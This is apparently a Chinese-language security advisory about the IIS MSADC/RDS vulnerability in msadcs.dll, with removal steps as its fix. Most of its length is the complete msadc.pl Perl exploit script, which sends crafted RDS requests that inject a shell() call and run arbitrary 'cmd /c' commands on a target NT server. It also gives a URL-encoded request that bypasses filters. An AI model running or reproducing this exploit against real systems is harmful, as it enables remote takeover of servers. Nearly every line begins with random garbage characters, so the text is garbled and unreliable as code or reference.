IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(2li:1j Oe YLL4H 涉及程序：
@NIypi$T Microsoft NT server
T]W -g 8x" d/D 描述：
f*],j 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(HI%C@ e9 q(7D8xG;F 详细：
:/NN =3e 如果你没有时间读详细内容的话，就删除:
u\xm8}A c:\Program Files\Common Files\System\Msadc\msadcs.dll
~Z2eQx
jtM 有关的安全问题就没有了。
j 7 URg>i0 nrIL_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
!cb#fl m3!M L>nLt 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
G U3 /s&9 关于利用ODBC远程漏洞的描述，请参看:
0f^.zt{T \DqxS=o; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm v I'> $ p ] &Q`oh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"^z=r]<5
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2[po~}2-0 E5 oD|'=WA 这里不再论述。
jyhzLu >n~p1: $ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Aa>gN S =p u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
l;A_ Aii( 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
m;f?}z_\$ YZRB4T9 wF8\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
6ZpcT&yL bFezTl{M #!perl
?M M3LA! < #
df *#?Ok # MSADC/RDS 'usage' (aka exploit) script
M7R&J'SAY #
t3$gwO$ # by rain.forest.puppy
|nN/x< v #
io7U[ # # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C-u/{ C P # beta test and find errors!
kA!(}wRL K<6x4ha use Socket; use Getopt::Std;
':D&c getopts("e:vd:h:XR", \%args);
2nkj;x{H$ EA w#$Aq= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
\!Zh= "hN a~ F@3Pd if (!defined $args{h} && !defined $args{R}) {
%J7mZB9 print qq~
v8bl-9DQ Usage: msadc.pl -h <host> { -d <delay> -X -v }
]t)M}^w -h <host> = host you want to scan (ip or domain)
* g4Cy 8$ -d <seconds> = delay between calls, default 1 second
""3m!qn# -X = dump Index Server path table, if available
^YJA\ d@ -v = verbose
PbUcbb17 -e = external dictionary file for step 5
:ZS 8Zm" sLdUrD% Or a -R will resume a command session
3C=clB9< 6bKO;^0 ~; exit;}
Dh No +"!z ot f%kG w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ll\^9
4]Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k(z<Bm if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
AH'4H."o/9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
A}bHfn| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
v7FRTrqjj if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
|vN@2h(|" /lB0> Us if (!defined $args{R}){ $ret = &has_msadc;
F[D0x26 ^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
XYHCggy C6UMc}
9h print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>Y-TwD aE . "cmd /c ";
S~Iw?SK3 $in=<STDIN>; chomp $in;
^[}0&_L
w $command="cmd /c " . $in ;
0j!ke1C&C >xV<nLf/ if (defined $args{R}) {&load; exit;}
&rztC]jF R P:F<`DB| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8;g. 3Qv &try_btcustmr;
e=o{Zo?H= .(7C)P{ .0 print "\nStep 2: Trying to make our own DSN...";
x56
F &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r@[VY g~ xSDE6] print "\nStep 3: Trying known DSNs...";
0*Km}?;0- &known_dsn;
{IPn\Bka b^,Mw8 KsO print "\nStep 4: Trying known .mdbs...";
'CX.qxF1;p &known_mdb;
\As oee F M&djw `B if (defined $args{e}){
s> @ #9psm print "\nStep 5: Trying dictionary of DSN names...";
2Cd
--W+= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T dP{{&'9 3H'nRK}, print "Sorry Charley...maybe next time?\n";
FK@ f' exit;
nN=:#4
>Y pO/SV6N ##############################################################################
>! Ap/{2 nK jeH@&# sub sendraw { # ripped and modded from whisker
\gp,Txueb sleep($delay); # it's a DoS on the server! At least on mine...
?Tc)f_a my ($pstr)=@_;
o%+A<Ri socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A_jB|<bjTP die("Socket problems\n");
sO6g IPU^ if(connect(S,pack "SnA4x8",2,80,$target)){
4/2RfDp select(S); $|=1;
5&HT$"H : print $pstr; my @in=<S>;
d@6:|auO select(STDOUT); close(S);
a(ux?V)E. return @in;
Dl zmAN } else { die("Can't connect...\n"); }}
Sz|Y$, LPapD@Z ##############################################################################
t}XB| h otz_nF;E sub make_header { # make the HTTP request
762o~vY6$ my $msadc=<<EOT
yxC M l. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
"zedbJ0 User-Agent: ACTIVEDATA
k>: /D Host: $ip
HTUYv U*- Content-Length: $clen
W7*_ T] Connection: Keep-Alive
V+=*2?1 53`9^| : ADCClientVersion:01.06
TDl!qp @ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!#c[~erNZ yL ;o{
G --!ADM!ROX!YOUR!WORLD!
V5yxQb Content-Type: application/x-varg
Q.9Ph
~ Content-Length: $reqlen
jTd4 H) S< EB&P EOT
MJ>Qq[0 ; $msadc=~s/\n/\r\n/g;
uXQ7eXX return $msadc;}
&ppE |[{ 7O8V1T t ##############################################################################
-B *<Q[_ XW U v P sub make_req { # make the RDS request
^<> Jw%H my ($switch, $p1, $p2)=@_;
y \)G7
( my $req=""; my $t1, $t2, $query, $dsn;
us\%BxxI9 _H4$$ if ($switch==1){ # this is the btcustmr.mdb query
9 {O2B5u1 $query="Select * from Customers where City=" . make_shell();
+EST58 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ol?z<53X] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
{+ C %D' =j|v0&
AGC elsif ($switch==2){ # this is general make table query
t,=@hs
hN $query="create table AZZ (B int, C varchar(10))";
x2j /8]'o $dsn="$p1";}
(o x4K{ X (r)Z\ elsif ($switch==3){ # this is general exploit table query
*Z]5!$UpC $query="select * from AZZ where C=" . make_shell();
mJ8{lXq3! $dsn="$p1";}
'R4>CZ%jV 1Lm].tq elsif ($switch==4){ # attempt to hork file info from index server
I~p8#<4#b $query="select path from scope()";
_.d}lK3$2 $dsn="Provider=MSIDXS;";}
\3H<z@; N J|NJ p&0 elsif ($switch==5){ # bad query
H
_Zo@y~J $query="select";
'a;ini $dsn="$p1";}
(
}]37 #*yM2H"7,; $t1= make_unicode($query);
zG-_!FIn $t2= make_unicode($dsn);
8!u/
$req = "\x02\x00\x03\x00";
>a& ?AP # $req.= "\x08\x00" . pack ("S1", length($t1));
Y )u_nn'[ $req.= "\x00\x00" . $t1 ;
?%\mQmjas $req.= "\x08\x00" . pack ("S1", length($t2));
{yvb$ND|j{ $req.= "\x00\x00" . $t2 ;
Y!++C MzU $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Y<p zy8 z return $req;}
1DEO3p <a8 #0ojm ##############################################################################
WF ?/GN O`wYMng) sub make_shell { # this makes the shell() statement
qDby!^ryc return "'|shell(\"$command\")|'";}
n0rerI[R S2J#b" Y ##############################################################################
fKL'/?LD] *.kj]B oO sub make_unicode { # quick little function to convert to unicode
TK; \_yN my ($in)=@_; my $out;
`pP9z;/Xq for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-Wl)Lez@ return $out;}
abM 84EU V/aQ *V{ ##############################################################################
H|PrsGW y#b;uDY sub rdo_success { # checks for RDO return success (this is kludge)
*'Z-OY<V my (@in) = @_; my $base=content_start(@in);
wr H7 pd if($in[$base]=~/multipart\/mixed/){
lZ}izl return 1 if( $in[$base+10]=~/^\x09\x00/ );}
LQh^ ;
]^( return 0;}
w qJ*% a`7%A H) ##############################################################################
OOCQsoN jg~_'4f# sub make_dsn { # this makes a DSN for us
{iA^rv| my @drives=("c","d","e","f");
Cn abD{uTf print "\nMaking DSN: ";
oJP< 'l1 foreach $drive (@drives) {
? Wwh
_TO print "$drive: ";
x Z|&/Ci my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
= y?#^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h6g=$8E . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
NNwc!x)* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(N,nux(0k return 0 if $2 eq "404"; # not found/doesn't exist
|WB"=PE if($2 eq "200") {
WI,40&< foreach $line (@results) {
0 (wf{5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
fH- NU-" } return 0;}
j h;
9
[ ( FM4 ^#6 ##############################################################################
@q,)fBZq Q 2*/`L}m\ sub verify_exists {
66oK3%[ my ($page)=@_;
zLh Fbyn( my @results=sendraw("GET $page HTTP/1.0\n\n");
? K 0U3V$s return $results[0];}
pp(H
PKs=} Oz :D.V
3~ ##############################################################################
s>T`l fCLcU@3W? sub try_btcustmr {
{5SfE$r my @drives=("c","d","e","f");
ft{W/ * +_ my @dirs=("winnt","winnt35","winnt351","win","windows");
] } '^` j2M4H@ foreach $dir (@dirs) {
#-,g&)`] print "$dir -> "; # fun status so you can see progress
%>i@F =O2< foreach $drive (@drives) {
zC Bplb print "$drive: "; # ditto
uii7b 7[w $reqlen=length( make_req(1,$drive,$dir) ) - 28;
YZ0en1ly $reqlenlen=length( "$reqlen" );
Z*9L'd"D| $clen= 206 + $reqlenlen + $reqlen;
W3^.5I |,3l`o
k my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7krh4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3Q",9(D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
h9)RJSF4 F@9Y\. , ##############################################################################
)B81i!
q d5Qd' sub odbc_error {
; VBpp< my (@in)=@_; my $base;
"r@ G@pe my $base = content_start(@in);
U M@naU if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
K${} r0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zyDZ$Dhka $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vEF =e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2sUbiDe- return $in[$base+4].$in[$base+5].$in[$base+6];}
QeL{Wa-2F print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&RWM<6JP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
K CD5*xH $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
D%A@lMru J2'K?|,m ##############################################################################
Q skUdzQ= i (0hvV>' sub verbose {
BH5 w@ my ($in)=@_;
H " O$& return if !$verbose;
'| &,E#` print STDOUT "\n$in\n";}
f4
Q(
1(C [g +y_@9s ##############################################################################
PT+c&5A S _e_4Q)z-a sub save {
x:qr \Rz my ($p1, $p2, $p3, $p4)=@_;
lcCJ?!lsSW open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6%%PP8.F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2 % %|fU9 close OUT;}
[@<G+j u% xDsT DP ##############################################################################
qtzFg# _- /x;C sub load {
-Un=T X my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N#UXP5C( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
%[XY67A3I @p=<IN>; close(IN);
?I\v0H* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
t=i/xG: 5 $target= inet_aton($ip) || die("inet_aton problems");
Y#`Lcg+r, print "Resuming to $ip ...";
awFhz 6 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
9k}<F z"^. if($p[1]==1) {
dgslUg9z3g $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l
DnMjK\M $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Z:|9N/>T my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
v
J-LPTB if (rdo_success(@results)){print "Success!\n";}
S*g`d;8gV else { print "failed\n"; verbose(odbc_error(@results));}}
UQ~4c, elsif ($p[1]==3){
#X5hS w; if(run_query("$p[3]")){
|Y tg print "Success!\n";} else { print "failed\n"; }}
6b<+8w elsif ($p[1]==4){
C3)|<E if(run_query($drvst . "$p[3]")){
"Xh OsMJ print "Success!\n"; } else { print "failed\n"; }}
*> KHRR<N exit;}
gQ>2!Qc a- r4?b0&Xq ##############################################################################
5>P7]?U.] |!Fk 2Je, sub create_table {
&n|*uLn
my ($in)=@_;
-;>#3 O- $reqlen=length( make_req(2,$in,"") ) - 28;
-w ~(3( $reqlenlen=length( "$reqlen" );
Q&PB]D{ $clen= 206 + $reqlenlen + $reqlen;
MRs,l' my @results=sendraw(make_header() . make_req(2,$in,""));
sP y2/7Wqd return 1 if rdo_success(@results);
IA2GUnUhu my $temp= odbc_error(@results); verbose($temp);
b=1%pX_ return 1 if $temp=~/Table 'AZZ' already exists/;
O3Uh+gKQ return 0;}
1ef'7a7e8 UiIF6-ZZ! ##############################################################################
_f3
WRyN0 U CRAw3= sub known_dsn {
_q)!B,y-/N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
k2p'G ')H my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
LN^UC$[tk "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{zP#woz2Q "banner", "banners", "ads", "ADCDemo", "ADCTest");
0[)VO[ 'gDe3@ci! foreach $dSn (@dsns) {
DbtF~`3, . print ".";
4LsHs next if (!is_access("DSN=$dSn"));
KDD@% E if(create_table("DSN=$dSn")){
9U^$.Lb print "$dSn successful\n";
ue6d~8& if(run_query("DSN=$dSn")){
M6Pw /S! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]'k[u print "Something's borked. Use verbose next time\n";}}} print "\n";}
?'sXgo.} !)c=1EX]" ##############################################################################
],[)uTZc .45^=2NGmQ sub is_access {
JUQg 'D my ($in)=@_;
94{)"w] $reqlen=length( make_req(5,$in,"") ) - 28;
rY,PSK/j $reqlenlen=length( "$reqlen" );
7Ms90oE/c $clen= 206 + $reqlenlen + $reqlen;
2]2H++ my @results=sendraw(make_header() . make_req(5,$in,""));
c@(1:,R my $temp= odbc_error(@results);
hH`Jb7 7L verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/K|: 9Q$K6 return 0;}
FZXyfZw!|
OJ/SYZ.r ##############################################################################
VE]6wwV2 TJOvyz`t sub run_query {
AIh*1>2Xn my ($in)=@_;
_faJ B@a_ $reqlen=length( make_req(3,$in,"") ) - 28;
Tn A?u (R% $reqlenlen=length( "$reqlen" );
<'&F;5F 3V $clen= 206 + $reqlenlen + $reqlen;
hS:jBp, my @results=sendraw(make_header() . make_req(3,$in,""));
XlkGjjW#/J return 1 if rdo_success(@results);
}+0z,s~0. my $temp= odbc_error(@results); verbose($temp);
9&K/GaG return 0;}
h/<=u9 J R#qI( V ##############################################################################
eOnT W4 .X
`C^z]+ sub known_mdb {
|s=`w8p my @drives=("c","d","e","f","g");
8Kk\*8 < my @dirs=("winnt","winnt35","winnt351","win","windows");
OCnF EX" my $dir, $drive, $mdb;
0E6lmz`O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
kH?#B%N5 6Cc7 ejt|u # this is sparse, because I don't know of many
DMZ` Sx my @sysmdbs=( "\\catroot\\icatalog.mdb",
MEq"}zrh "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
<m-.aK{9 "\\system32\\certmdb.mdb",
Y"!uU.=xJ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
| ^GyH$. = .`jjDJ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
maC>LBa2/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
>"("*3AO "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\[#t<dD "\\cfusion\\cfapps\\security\\realm_.mdb",
M"U OgS "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`,Orf ZMb "\\cfusion\\database\\cfexamples.mdb",
64U6C *w+ "\\cfusion\\database\\cfsnippets.mdb",
=;{^" #r\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
r{[OJc! "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
oT&m4I "\\cfusion\\brighttiger\\database\\cleam.mdb",
gyu6YD8L "\\cfusion\\database\\smpolicy.mdb",
}c|U X
ZW "\\cfusion\\database\cypress.mdb",
Y=2Un).& "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
JsQ6l%9 "\\website\\cgi-win\\dbsample.mdb",
kX2d7yQZz "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
l,d, T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
f z}?*vPW ); #these are just
uGCp#>+ foreach $drive (@drives) {
'UfeluMd foreach $dir (@dirs){
E5UcZ7 foreach $mdb (@sysmdbs) {
<1@
(ioPH print ".";
GGnp Pp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(V?@?2 5 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Do*n#= if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
P5?<_x0v4b print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>ttuum12w } else { print "Something's borked. Use verbose next time\n"; }}}}}
Acu@[ I ^ yn~P{}68 foreach $drive (@drives) {
j*zD0I] foreach $mdb (@mdbs) {
NL!9U,h5| print ".";
V'StvU
if(create_table($drv . $drive . $dir . $mdb)){
-Mf Q&U print "\n" . $drive . $dir . $mdb . " successful\n";
z"379b7cN if(run_query($drv . $drive . $dir . $mdb)){
T~ k)uQ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!LIlt`ag9 } else { print "Something's borked. Use verbose next time\n"; }}}}
/1fwl5 \ }
^M[P-#X_ &88oB6$D^q ##############################################################################
? +`x e{k \dkOK`)b sub hork_idx {
Gi7RMql6Q print "\nAttempting to dump Index Server tables...\n";
(E!!pz print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Z'M`}3O $reqlen=length( make_req(4,"","") ) - 28;
5 DFZ ^~ $reqlenlen=length( "$reqlen" );
&Lt@} 7$8 $clen= 206 + $reqlenlen + $reqlen;
C2/}d? bki my @results=sendraw2(make_header() . make_req(4,"",""));
h6 M;0_' if (rdo_success(@results)){
,]$A\+m' my $max=@results; my $c; my %d;
3f&|h^\nD for($c=19; $c<$max; $c++){
*%A}x $results[$c]=~s/\x00//g;
k4y}&?$B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
rK|*hcy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
va,~w(G $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'HaD~pa $d{"$1$2"}="";}
4JO@BV >t foreach $c (keys %d){ print "$c\n"; }
+jV_Wz } else {print "Index server doesn't seem to be installed.\n"; }}
mEDpKW Bk edpW8eND ##############################################################################
g>0vm2 | c K <)$* sub dsn_dict {
+m /,,+4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+nU.p/cK+\ while(<IN>){
3-x%wD. $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
w *~Tm >U next if (!is_access("DSN=$dSn"));
[m2+9MMl if(create_table("DSN=$dSn")){
o4Q3<T7nI print "$dSn successful\n";
oH-8r: { if(run_query("DSN=$dSn")){
9l
!S9d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-=5)NH
t print "Something's borked. Use verbose next time\n";}}}
.j?kEN?w print "\n"; close(IN);}
#n7Yr,|Z QK <\kVZ8 ##############################################################################
j
_ ;fWBD: z<n- Gzwk sub sendraw2 { # ripped and modded from whisker
tXq)nfGe{ sleep($delay); # it's a DoS on the server! At least on mine...
! OE*z $\ my ($pstr)=@_;
IXq(jhm8bL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
CqoG.1jJS die("Socket problems\n");
G{lcYP O if(connect(S,pack "SnA4x8",2,80,$target)){
N|dD ! print "Connected. Getting data";
$p$dKH open(OUT,">raw.out"); my @in;
\:/Lc{*}MD select(S); $|=1; print $pstr;
VKuAO$s$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
e7k%6'@ close(OUT); select(STDOUT); close(S); return @in;
C L9yEy"V } else { die("Can't connect...\n"); }}
oU+F3b}5p eegx'VSX4 ##############################################################################
OO-k|\{ | vsMmCd)7U sub content_start { # this will take in the server headers
( ^: p my (@in)=@_; my $c;
2@Lb fo A for ($c=1;$c<500;$c++) {
y4jU{, if($in[$c] =~/^\x0d\x0a/){
8 ws$k\> if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
, 8VU&?`<} else { return $c+1; }}}
a!, r46>$H return -1;} # it should never get here actually
oF|N O^H 3W&S.$l ##############################################################################
$a#H,Xv# 4Z5#F]OA7 sub funky {
HEY4$Lf(I my (@in)=@_; my $error=odbc_error(@in);
|>1hu 1 if($error=~/ADO could not find the specified provider/){
;YH[G;aJ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
A lwtmDa exit;}
-9+ se if($error=~/A Handler is required/){
Z4q~@|+% print "\nServer has custom handler filters (they most likely are patched)\n";
U A-7nb exit;}
pn %#w*' if($error=~/specified Handler has denied Access/){
9M-K]0S( print "\nServer has custom handler filters (they most likely are patched)\n";
%oof}=MxCL exit;}}
mP^SS
Je Pe ~c ##############################################################################
1ThqqB 97` WMs sub has_msadc {
JUt7En;XE my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
I.V:q!4* my $base=content_start(@results);
:b /J\ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
gv.6h{U t return 0;}
;O=h$ 8] ,sQ9 3(Vo ########################
Lp&k3?W :qj<p3w~} q,l)I+ 解决方案：
Uems\I0 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
SF<Vds}A2 2、移除web 目录: /msadc
